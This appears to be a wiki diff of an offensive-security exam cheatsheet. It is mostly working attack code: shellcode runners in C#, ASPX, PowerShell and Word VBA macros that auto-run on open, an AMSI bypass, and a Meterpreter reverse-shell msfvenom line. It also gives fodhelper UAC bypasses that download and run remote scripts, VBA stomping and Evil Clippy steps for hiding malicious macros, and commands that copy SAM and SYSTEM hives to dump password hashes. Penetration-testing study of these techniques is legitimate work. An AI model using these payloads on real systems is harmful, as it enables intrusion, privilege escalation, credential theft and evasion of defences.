[https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)] | [https://github.com/In3x0rabl3/OSEP/blob/main/Payloads/C%23/Webshell_Runner/rev.aspx OSEP/Payloads/C#/Webshell_Runner/rev.aspx at main · In3x0rabl3/OSEP (github.com)] | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
private static Int32 MEM_COMMIT=0x1000; | private static Int32 MEM_COMMIT=0x1000; | ||
private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; | private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40; | ||
[System.Runtime.InteropServices.DllImport("kernel32")] | [System.Runtime.InteropServices.DllImport("kernel32")] | ||
private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); | private static extern IntPtr VirtualAlloc(IntPtr lpStartAddr,UIntPtr size,Int32 flAllocationType,IntPtr flProtect); | ||
[System.Runtime.InteropServices.DllImport("kernel32")] | [System.Runtime.InteropServices.DllImport("kernel32")] | ||
private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId); | private static extern IntPtr CreateThread(IntPtr lpThreadAttributes,UIntPtr dwStackSize,IntPtr lpStartAddress,IntPtr param,Int32 dwCreationFlags,ref IntPtr lpThreadId); | ||
[System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,ExactSpelling = true)] | [System.Runtime.InteropServices.DllImport("kernel32.dll", SetLastError = true,ExactSpelling = true)] | ||
private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); | private static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred); | ||
[System.Runtime.InteropServices.DllImport("kernel32.dll")] | [System.Runtime.InteropServices.DllImport("kernel32.dll")] | ||
private static extern IntPtr GetCurrentProcess(); | private static extern IntPtr GetCurrentProcess(); | ||
protected void Page_Load(object sender, EventArgs e) | protected void Page_Load(object sender, EventArgs e) | ||
{ | { | ||
| Line 9,095: | Line 6,953: | ||
for(int i = 0; i | for(int i = 0; i | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Csharp === | === Csharp === | ||
If compiled for x64 remember to set architecture to x64 in visual studios. | If compiled for x64 remember to set architecture to x64 in visual studios. | ||
[[File:2023-08-image-1.png|thumb]] | [[File:2023-08-image-1.png|thumb]] | ||
[[File:2023-08-image-2.png|thumb]] | [[File:2023-08-image-2.png|thumb]] | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 9,117: | Line 6,970: | ||
using System.Diagnostics; | using System.Diagnostics; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace ConsoleApp1 | namespace ConsoleApp1 | ||
{ | { | ||
| Line 9,124: | Line 6,976: | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 9,139: | Line 6,988: | ||
0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 | 0x58,0xc3,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5 | ||
}; | }; | ||
int size = buf.Length; | int size = buf.Length; | ||
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); | IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40); | ||
Marshal.Copy(buf, 0, addr, size); | Marshal.Copy(buf, 0, addr, size); | ||
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero); | ||
WaitForSingleObject(hThread, 0xFFFFFFFF); | WaitForSingleObject(hThread, 0xFFFFFFFF); | ||
| Line 9,150: | Line 6,997: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Powershell === | === Powershell === | ||
==== Ver 1 - Ported from Csharp to Powershell ==== | ==== Ver 1 - Ported from Csharp to Powershell ==== | ||
run.txt | run.txt | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
| Line 9,177: | Line 7,020: | ||
} | } | ||
"@ | "@ | ||
Add-Type $Kernel32 | Add-Type $Kernel32 | ||
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8….. | [Byte[]] $buf = 0xfc,0x48,0x83,0xe4,0xf0,0xe8….. | ||
$size = $buf.Length | $size = $buf.Length | ||
[IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); | [IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40); | ||
| Line 9,186: | Line 7,027: | ||
$thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0); | $thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0); | ||
[Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF") | [Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF") | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Ver 2 ==== | ==== Ver 2 ==== | ||
run.txt | run.txt | ||
<syntaxhighlight lang="powershell"> | <syntaxhighlight lang="powershell"> | ||
# Compact AMSI bypass | # Compact AMSI bypass | ||
[Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true) | [Ref].Assembly.GetType('System.Management.Automation.Amsi'+[char]85+'tils').GetField('ams'+[char]105+'InitFailed','NonPublic,Static').SetValue($null,$true) | ||
# Shellcode loader >:] | # Shellcode loader >:] | ||
function LookupFunc { | function LookupFunc { | ||
| Line 9,211: | Line 7,047: | ||
@($moduleName)), $functionName)) | @($moduleName)), $functionName)) | ||
} | } | ||
function getDelegateType { | function getDelegateType { | ||
Param ( | Param ( | ||
| Line 9,232: | Line 7,067: | ||
return $type.CreateType() | return $type.CreateType() | ||
} | } | ||
# Allocate executable memory | # Allocate executable memory | ||
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), | $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), | ||
(getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) | (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40) | ||
# Copy shellcode to allocated memory | # Copy shellcode to allocated memory | ||
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell | # msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f powershell | ||
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4... | [Byte[]] $buf = 0xfc,0x48,0x83,0xe4... | ||
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) | [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length) | ||
# Execute shellcode and wait for it to exit | # Execute shellcode and wait for it to exit | ||
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), | $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), | ||
| Line 9,247: | Line 7,079: | ||
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), | ||
(getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF) | (getDelegateType @([IntPtr], [Int32])([Int]))).Invoke($hThread, 0xFFFFFFFF) | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Trigger from Word Macro | Trigger from Word Macro | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 9,268: | Line 7,097: | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== VBA === | === VBA === | ||
Create a macro in Word (See cheatsheet I) and insert code. | Create a macro in Word (See cheatsheet I) and insert code. | ||
If Word is running in 64-bit the code below will need changes. | If Word is running in 64-bit the code below will need changes. | ||
[https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)] | [https://forums.offsec.com/showthread.php?40409-VBA-Shellcode-Runner-Compile-Error-Type-Mismatch VBA Shellcode Runner - Compile Error: Type Mismatch (offsec.com)] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# For the code below to work in 64-bit Word. | # For the code below to work in 64-bit Word. | ||
# If you're still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below. | # If you're still looking for an answer to this, I ran into the same problem but managed to get it working for 64-bit as well. I had to change the three lines below. | ||
# First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I'm not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can't, so maybe it has to do with my not returning anything anymore. | # First, I modified the declare statement for RtlMoveMemory to not return anything anymore and changed it from Function to Sub. I'm not sure why the type needed to change, but Word crashed when I used Function and worked with Sub. The documentation just says Function can return a value, while Sub can't, so maybe it has to do with my not returning anything anymore. | ||
Code: | Code: | ||
Private Declare PtrSafe Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) | Private Declare PtrSafe Sub RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) | ||
# Second, I changed the line calling RtlMoveMemory since it's not returning anything anymore. | # Second, I changed the line calling RtlMoveMemory since it's not returning anything anymore. | ||
Code: | Code: | ||
Call RtlMoveMemory(addr + counter, data, 1) | Call RtlMoveMemory(addr + counter, data, 1) | ||
# After making these changes it didn't error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return. | # After making these changes it didn't error on RtlMoveMemory anymore, but instead gave the same mismatch error for CreateThread. That one was fixed by changing the creation statement for the res variable to be a LongPtr instead of Long to match what the declare statement for CreateThread says it will return. | ||
Code: | Code: | ||
Dim res As LongPtr | Dim res As LongPtr | ||
# After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked. | # After these changes and updating the shellcode to be a 64-bit version of meterpreter, the callback worked. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="visual"> | <syntaxhighlight lang="visual"> | ||
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr | Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr | ||
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr | Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr | ||
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr | Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr | ||
Function MyMacro() | Function MyMacro() | ||
Dim buf As Variant | Dim buf As Variant | ||
| Line 9,318: | Line 7,131: | ||
Dim data As Long | Dim data As Long | ||
Dim res As Long | Dim res As Long | ||
buf = Array(INSERT SHELLCODE HERE) | buf = Array(INSERT SHELLCODE HERE) | ||
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) | addr = VirtualAlloc(0, UBound(buf), &H3000, &H40) | ||
For counter = LBound(buf) To UBound(buf) | For counter = LBound(buf) To UBound(buf) | ||
data = buf(counter) | data = buf(counter) | ||
res = RtlMoveMemory(addr + counter, data, 1) | res = RtlMoveMemory(addr + counter, data, 1) | ||
Next counter | Next counter | ||
res = CreateThread(0, 0, addr, 0, 0, 0) | res = CreateThread(0, 0, addr, 0, 0, 0) | ||
End Function | End Function | ||
Sub Document_Open() | Sub Document_Open() | ||
MyMacro | MyMacro | ||
End Sub | End Sub | ||
Sub AutoOpen() | Sub AutoOpen() | ||
MyMacro | MyMacro | ||
End Sub | End Sub | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== UAC Bypass == | == UAC Bypass == | ||
https://book.ghanim.no/?p=2698#UAC_Bypass | https://book.ghanim.no/?p=2698#UAC_Bypass | ||
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download] | [https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-11-Privilege-Escalation-via-UAC-Bypass-GUI-based-–-PwnDefend.pdf Download] | ||
=== Fodhelper.exe === | === Fodhelper.exe === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
$yourevilcommand = 'powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.45.198/run3.txt'')"' | $yourevilcommand = 'powershell.exe -c "IEX(New-Object Net.WebClient).DownloadString(''http://192.168.45.198/run3.txt'')"' | ||
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | ||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | ||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force | Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $yourevilcommand -Force | ||
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | ||
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force | Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force | ||
------------------------ | ------------------------ | ||
function RegStuff { | function RegStuff { | ||
$cmd = "C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA" | $cmd = "C:\Windows\Tasks\foo.exe -enc aQBlAHgAKABuAGUAdwAtAG8AYgBqAGUAYwB0ACAAbgBlAHQALgB3AGUAYgBjAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgA0ADkALgA2ADgALwByAGUALgBwAHMAMQAnACkA" | ||
copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe | copy C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\Tasks\foo.exe | ||
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue | Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue | ||
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force | ||
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force | ||
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force | Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value $cmd -Force | ||
} | } | ||
function PrivEsc { | function PrivEsc { | ||
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden | ||
| Line 9,391: | Line 7,182: | ||
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue | Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force -ErrorAction SilentlyContinue | ||
} | } | ||
RegStuff | RegStuff | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== VBA Stomping == | == VBA Stomping == | ||
A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents. | A technique to reduce detection rates by manipulating the VBA macro content in Microsoft Word and Excel documents. | ||
* '''Tools''': | * '''Tools''': | ||
'''Hex Editor''': For inspecting contents of unzipped modern files | '''Hex Editor''': For inspecting contents of unzipped modern files | ||
* '''FlexHEX''': To inspect and edit the files | * '''FlexHEX''': To inspect and edit the files | ||
==== Steps to Perform VBA Stomping ==== | ==== Steps to Perform VBA Stomping ==== | ||
* '''Inspect Shellcode Runner''' | * '''Inspect Shellcode Runner''' | ||
Use custom tools to inspect existing shellcode runners. | Use custom tools to inspect existing shellcode runners. | ||
* '''Understanding File Formats''' | * '''Understanding File Formats''' | ||
'''Old Format''': Compound File Binary Format. | '''Old Format''': Compound File Binary Format. | ||
* '''New Format''': Similar to .zip files. | * '''New Format''': Similar to .zip files. | ||
* '''Using FlexHEX''' | * '''Using FlexHEX''' | ||
Open FlexHEX. | Open FlexHEX. | ||
* Navigate to File > Open > OLE Compound File . | * Navigate to File > Open > OLE Compound File . | ||
* Open the Word document to inspect it. | * Open the Word document to inspect it. | ||
* '''Inspect Macro Information''' | * '''Inspect Macro Information''' | ||
For modern files, macros are stored in vbaProject.bin inside the zipped archive. | For modern files, macros are stored in vbaProject.bin inside the zipped archive. | ||
* '''Editing Macros''' | * '''Editing Macros''' | ||
Edit the PROJECT file in the navigator window to remove links to macros, using Edit > Insert Zero Block . | Edit the PROJECT file in the navigator window to remove links to macros, using Edit > Insert Zero Block . | ||
* '''Understanding P-Code''' | * '''Understanding P-Code''' | ||
'''P-Code''': Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on. | '''P-Code''': Cached and compiled version of VBA textual code, specific to the Office and VBA version it was created on. | ||
* '''Usage''': Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation. | * '''Usage''': Used to execute macros faster on the same version of Office, bypassing VBA interpreter translation. | ||
* '''Performing VBA Stomping''' | * '''Performing VBA Stomping''' | ||
'''Goal''': Remove VBA source code while retaining P-code to bypass detection but still execute the code. | '''Goal''': Remove VBA source code while retaining P-code to bypass detection but still execute the code. | ||
* '''How''': | * '''How''': | ||
Open the document in FlexHEX. | Open the document in FlexHEX. | ||
* Locate the VBA source code in NewMacros . | * Locate the VBA source code in NewMacros . | ||
* Select all bytes from “Attribute VB_Name” and remove it using Edit > Insert Zero Block . | * Select all bytes from “Attribute VB_Name” and remove it using Edit > Insert Zero Block . | ||
* Save and re-compress the document. | * Save and re-compress the document. | ||
* '''Testing''' | * '''Testing''' | ||
Open the edited document in Word. | Open the edited document in Word. | ||
* Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work. | * Note: The VBA source code should be visually removed, but the P-code still executes, enabling the attack to work. | ||
=== Automating VBA Stomping Using Evil Clippy === | === Automating VBA Stomping Using Evil Clippy === | ||
[https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.] | [https://github.com/outflanknl/EvilClippy GitHub - outflanknl/EvilClippy: A cross-platform assistant for creating malicious MS Office documents. Can hide VBA macros, stomp VBA code (via P-Code) and confuse macro analysis tools. Runs on Linux, OSX and Windows.] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc | EvilClippy.exe -s fake.vbs -g -r cobaltstrike.doc | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank] | [https://outflank.nl/blog/2019/05/05/evil-clippy-ms-office-maldoc-assistant/ Evil Clippy: MS Office maldoc assistant | Outflank] | ||
'''Usage Examples''': | '''Usage Examples''': | ||
* Print help: <code>EvilClippy.exe -h</code> | * Print help: <code>EvilClippy.exe -h</code> | ||
* Hide macros from GUI: <code>EvilClippy.exe -g macrofile.doc</code> | * Hide macros from GUI: <code>EvilClippy.exe -g macrofile.doc</code> | ||
* Unhide macros: <code>EvilClippy.exe -gg macrofile.doc</code> | * Unhide macros: <code>EvilClippy.exe -gg macrofile.doc</code> | ||
* Stomp VBA (abuse P-code): <code>EvilClippy.exe -s fakecode.vba macrofile.doc</code> | * Stomp VBA (abuse P-code): <code>EvilClippy.exe -s fakecode.vba macrofile.doc</code> | ||
* Set target Office version for VBA stomping: <code>EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc</code> | * Set target Office version for VBA stomping: <code>EvilClippy.exe -s fakecode.vba -t 2016x86 macrofile.doc</code> | ||
* Set random module names: <code>EvilClippy.exe -r macrofile.doc</code> | * Set random module names: <code>EvilClippy.exe -r macrofile.doc</code> | ||
* Reset random module names: <code>EvilClippy.exe -rr macrofile.doc</code> | * Reset random module names: <code>EvilClippy.exe -rr macrofile.doc</code> | ||
* Serve a VBA stomped template via HTTP: <code>EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot</code> | * Serve a VBA stomped template via HTTP: <code>EvilClippy.exe -s fakecode.vba -w 8080 macrofile.dot</code> | ||
* Set Locked/Unviewable attributes: <code>EvilClippy.exe -u macrofile.doc</code> | * Set Locked/Unviewable attributes: <code>EvilClippy.exe -u macrofile.doc</code> | ||
* Remove Locked/Unviewable attributes: <code>EvilClippy.exe -uu macrofile.doc</code> | * Remove Locked/Unviewable attributes: <code>EvilClippy.exe -uu macrofile.doc</code> | ||
== Windows Credentials == | == Windows Credentials == | ||
=== SAM database === | === SAM database === | ||
See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes. | See Cheatsheet I for methods on how to obtain the SAM database and extract the hashes. | ||
'''Shadow Volume Copy Workaround''' | '''Shadow Volume Copy Workaround''' | ||
Create a snapshot of the local hard drive using '''WMIC. '''Need to launch from an administrative command prompt: | Create a snapshot of the local hard drive using '''WMIC. '''Need to launch from an administrative command prompt: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\> wmic shadowcopy call create Volume='C:\' | C:\> wmic shadowcopy call create Volume='C:\' | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Verify shadow volume: | Verify shadow volume: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\> vssadmin list shadows | C:\> vssadmin list shadows | ||
</syntaxhighlight> | </syntaxhighlight> | ||
Copy SAM from shadow volume: | Copy SAM from shadow volume: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam | C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam | ||
Note: Run above command in cmd.exe , not in PowerShell. | Note: Run above command in cmd.exe , not in PowerShell. | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Encrypting SAM Database''' | '''Encrypting SAM Database''' | ||
SAM is encrypted by '''RC4''' or '''AES'''. Encryption keys are in the SYSTEM file. Copy SYSTEM file: | SAM is encrypted by '''RC4''' or '''AES'''. Encryption keys are in the SYSTEM file. Copy SYSTEM file: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system | C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Save SAM and SYSTEM from Registry''' | '''Save SAM and SYSTEM from Registry''' | ||
Using reg save command: | Using reg save command: | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 9,589: | Line 7,314: | ||
C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\system | C:\> reg save HKLM\system C:\users\offsec.corp1\Downloads\system | ||
</syntaxhighlight> | </syntaxhighlight> | ||
'''Read SAM, SYSTEM and SECURITY''' | '''Read SAM, SYSTEM and SECURITY''' | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL | impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL | ||
# Or using creddump | # Or using creddump | ||
https://github.com/Neohapsis/creddump7 | https://github.com/Neohapsis/creddump7 | ||
python pwdump.py /home/kali/system /home/kali/sam | python pwdump.py /home/kali/system /home/kali/sam | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Access Tokens === | === Access Tokens === | ||
* Access tokens track user's access rights after authentication. | * Access tokens track user's access rights after authentication. | ||
* They are assigned to each process associated with the user. | * They are assigned to each process associated with the user. | ||
* Access tokens are stored inside the kernel, preventing direct modification. | * Access tokens are stored inside the kernel, preventing direct modification. | ||
==== PrintSpoofer.exe ==== | ==== PrintSpoofer.exe ==== | ||
The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated. | The code below will open a pipe and wait for a authentication. Instead, you can use PrintSpoofer from itm4n and compile it. This will give SYSTEM shell directly. To evade detection the code can be obfuscated. | ||
[https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"] | [https://github.com/itm4n/PrintSpoofer GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"] | ||
* SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or | * SeImpersonatePrivilege allows us to impersonate any token for which we can get a reference, or | ||
handle. | handle. | ||
* We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface. | * We will use [https://github.com/leechristensen/SpoolSample SpoolSample.exe] to coerce Windows hosts to authenticate to other machines via the MS-RPRN RPC interface. | ||
